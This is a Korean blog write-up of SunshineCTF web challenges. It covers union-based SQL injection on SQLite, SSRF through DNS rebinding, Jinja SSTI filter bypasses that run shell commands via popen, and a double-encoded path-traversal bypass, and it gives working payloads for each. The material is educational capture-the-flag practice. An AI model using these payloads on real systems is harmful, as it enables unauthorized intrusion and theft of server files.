CTF & Wargame(CTF's)

SunshineCTF writeup

KWAKBUMJUN 2025. 10. 17. 07:12

Lunar Auth

/admin 엔드포인트에 접근해서 개발자 도구로 자바스크립트 코드를 확인해보면 위와 같이 base64로 인코딩된 username/pw를 알 수 있다.

이를 디코딩하고 로그인하면 flag 획득

 

Lunar Shop

product_id=1 union select 1,2,3,4

위와 같이 Union 페이로드를 넣으면 아래에 1,2,3,4가 대입된다.

→ union based sqli 확인

4번 영역에 sqlite_version()을 넣어보니까 버전이 출력된다.

→ sqlite 사용중

1 union select 1,2,3,(SELECT name FROM sqlite_master WHERE type='table' limit 2,3)

위와 같은 페이로드를 넣으면 flag라는 컬럼이 있는걸 확인할 수 있음

SELECT sql FROM sqlite_master WHERE tbl_name='flag'

CREATE TABLE flag ( id INTEGER PRIMARY KEY AUTOINCREMENT, flag TEXT NOT NULL UNIQUE )

라는 결과를 얻을 수 있음

→ flag라는 컬럼이 있다.

select flag from flag limit 1

→ sun{baby_SQL_injection_this_is_known_as_error_based_SQL_injection_8767289082762892}

 

Intergalactic Webhook Service

def is_ip_allowed(url):
    parsed = urlparse(url)
    host = parsed.hostname or ''
    try:
        ip = socket.gethostbyname(host)
    except Exception:
        return False, f'Could not resolve host'
    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
        return False, f'IP "{ip}" not allowed'
    return True, None

이 함수 보면 딱봐도 ssrf인 것 같음

dns rebinding으로

이렇게 127.0.0.1과 non local ip를 조합해서 아래와 같이 전달하면 된다.

→ "<http://7f000001.5db8d822.rbndr.us:5001/flag>

-> sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}

Web Forge

일단 감이 안잡히길래 robots.txt를 쳐보니까 아래의 결과를 확인할 수 있었다.

User-agent: *
Disallow: /admin
Disallow: /fetch

# internal SSRF testing tool requires special auth header to be set to 'true'

/admin에 접근하면 → Forbidden, You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.

/fetch에 접근하면 → 403 Forbidden: missing or incorrect SSRF access header

라고 뜬다.

/fetch에 접근해서 ssrf 툴을 사용하려면 옳은 헤더를 사용해야 한다. 문제 설명에서 퍼저를 사용해도 된다고 했기 때문에 퍼저를 이용헤서 어떤 헤더가 필요한지 찾아보면 될 것 같다.

import requests

# 테스트할 URL (예: /echo, /api 등)
URL = "<https://wormhole.sunshinectf.games/fetch>"

# 확인할 헤더 목록 (대표적인 것들)
TEST_HEADERS = [
				"....생략...."
]

def test_headers():
    for hdr in TEST_HEADERS:
        print(f"\\n[+] Testing header: {list(hdr.keys())[0]}")

        try:
            resp = requests.get(URL, headers=hdr, timeout=5)

            # 응답 본문 앞부분 확인
            print("Response body snippet:")
            print(resp.text)

        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    test_headers()

위와 같이 스크립트를 작성하고 실행하며 Allow: true 태그가 들어가면 성공적으로 ssrf tool에 접근할 수 있다는 것을 알 수 있다.

/fetch 엔드포인트에서 url을

http://127.0.0.1/admin?template=hi 이렇게 전달하면 아래와 같은 결과가 뜬다.

위의 에러는 포트가 틀려서 접속이 불가하다는 뜻이다. 따라서 이것도 퍼징으로 포트를 알아내야 하는데 대충 8000 포트 연결헤보니까 바로 됐다.

ssti 페이로드를 날려봤는데 잘 작동하는걸 보니, ssti로 플래그 뽑으면 될 것 같다.

<http://127.0.0.1:8000/admin?template={{config.__class.__init__.__globals__['os'].popen('ls').read()}>}

이렇게 페이로드를 넣어서 전달해봤는데 “Nope”라고 뜬다. 뭔가 필터링이 있는듯하다.

{{request|attr('application')|attr('__globals__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}

→ 정상적으로 출력됨

<http://127.0.0.1:8000/admin?template=>{{request|attr('application')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fbuiltins\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fimport\\x5f\\x5f')('os')|attr('popen')('cat /opt/chal/flag*')|attr('read')()}}

위의 페이로드를 넣으면 flag 획득이 가능하다.

참고 : https://github.com/payloadbox/ssti-payloads

근데 이 문제는 게싱이 너무 많은 것 같다. 풀기 까다로움

 

Lunar File Invasion

# don't need web scrapers scraping these sensitive files:

Disallow: /.gitignore_test
Disallow: /login
Disallow: /admin/dashboard
Disallow: /2FA

.gitignore_test 파일을 다운받아 보니까 아래와 같은 파일을 확인할 수 있었다.

# this tells the git CLI to ignore these files so they're not pushed to the repos by mistake.
# this is because Muhammad noticed there were temporary files being stored on the disk when being edited
# something about EMACs.

# From MUHAMMAD: please make sure to name this .gitignore or it will not work !!!!

# static files are stored in the /static directory.
/index/static/login.html~
/index/static/index.html~
/index/static/error.html~

그 후에 다시 login.html 파일을 열어보니 아래와 같은 코드를 발견했다.

<input value="admin@lunarfiles.muhammadali" type="text" name="email">
<label for="Password">Password</label>
<!-- just to save time while developing, make sure to remove this in prod !  -->
<input value="jEJ&(32)DMC<!*###" type="text" name="password">
<button type="submit">Login</button>

admin@lunarfiles.muhammadali/jEJ&(32)DMC<!*###

로그인 성공, 이 2FA 인증은 그냥 /admin/dashboard로 이동하면 우회된다. 이후에 secret1~3.txt 파일들의 내용을 확인해보니 LFI로 flag를 탈취해야 하는 것 같다.

secret3.txt를 burp로 확인하면 위와 같은 내용을 볼 수 있다. download 폴더 안에서 secret3.txt를 가져오는듯하다. 따라서 우리는 아래와 같이 LFI를 시도할 수 있다.

payload :

%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

하지만 에러가 뜬다. 뭔가 필터링이 있는듯하다. 그렇다면 더블 인코딩을 통해 우회해보자.

이것도 막힌다. 그럼 다른 방법으로 우회를 해야한다.

일단 해당 문제에서는 ../../를 필터링 하고 있다. 따라서 이를 우회해야 하는데 .././.././.././를 이용하면 ../를 연속으로 사용하지 않고 path traversal을 일으킬 수 있기 때문에

..%252F.%252F..%252F.%252F..%252F.%252F..%252F.%252Fapp.py를 활용하여 app.py 코드를 확인하자.

코드를 확인하니까 ./FLAG/flag.txt에 파일이 저장되어 있는 것을 확인할 수 있었다.

따라서 → /admin/download/..%252f.%252f..%252f.%252f..%252fFLAG%252fflag.txt

이렇게 삽입하면 flag를 획득할 수 있다.

참고 : https://comradelab.win/2023/03/proc-enumeration/

 

"/proc" file system | Enumerating for a foothold

The /proc filesystem is a unique location in a Linux system which holds runtime information of the system. Let’s look at why does it exist and how can a malicious actor can leverage it for enumeration

comradelab.win

 

 

'CTF & Wargame(CTF's)' 카테고리의 다른 글

Blackhat MEA 2025 write up  (0) 2025.12.13
HITCON - IMGC0NV(다시)  (0) 2025.10.17
CCE 예선 - Photo Editing(web) 라이트업  (0) 2025.10.17
WatCTF writeup(web)  (0) 2025.09.11
제 31회 해킹캠프 CTF write up  (0) 2025.09.10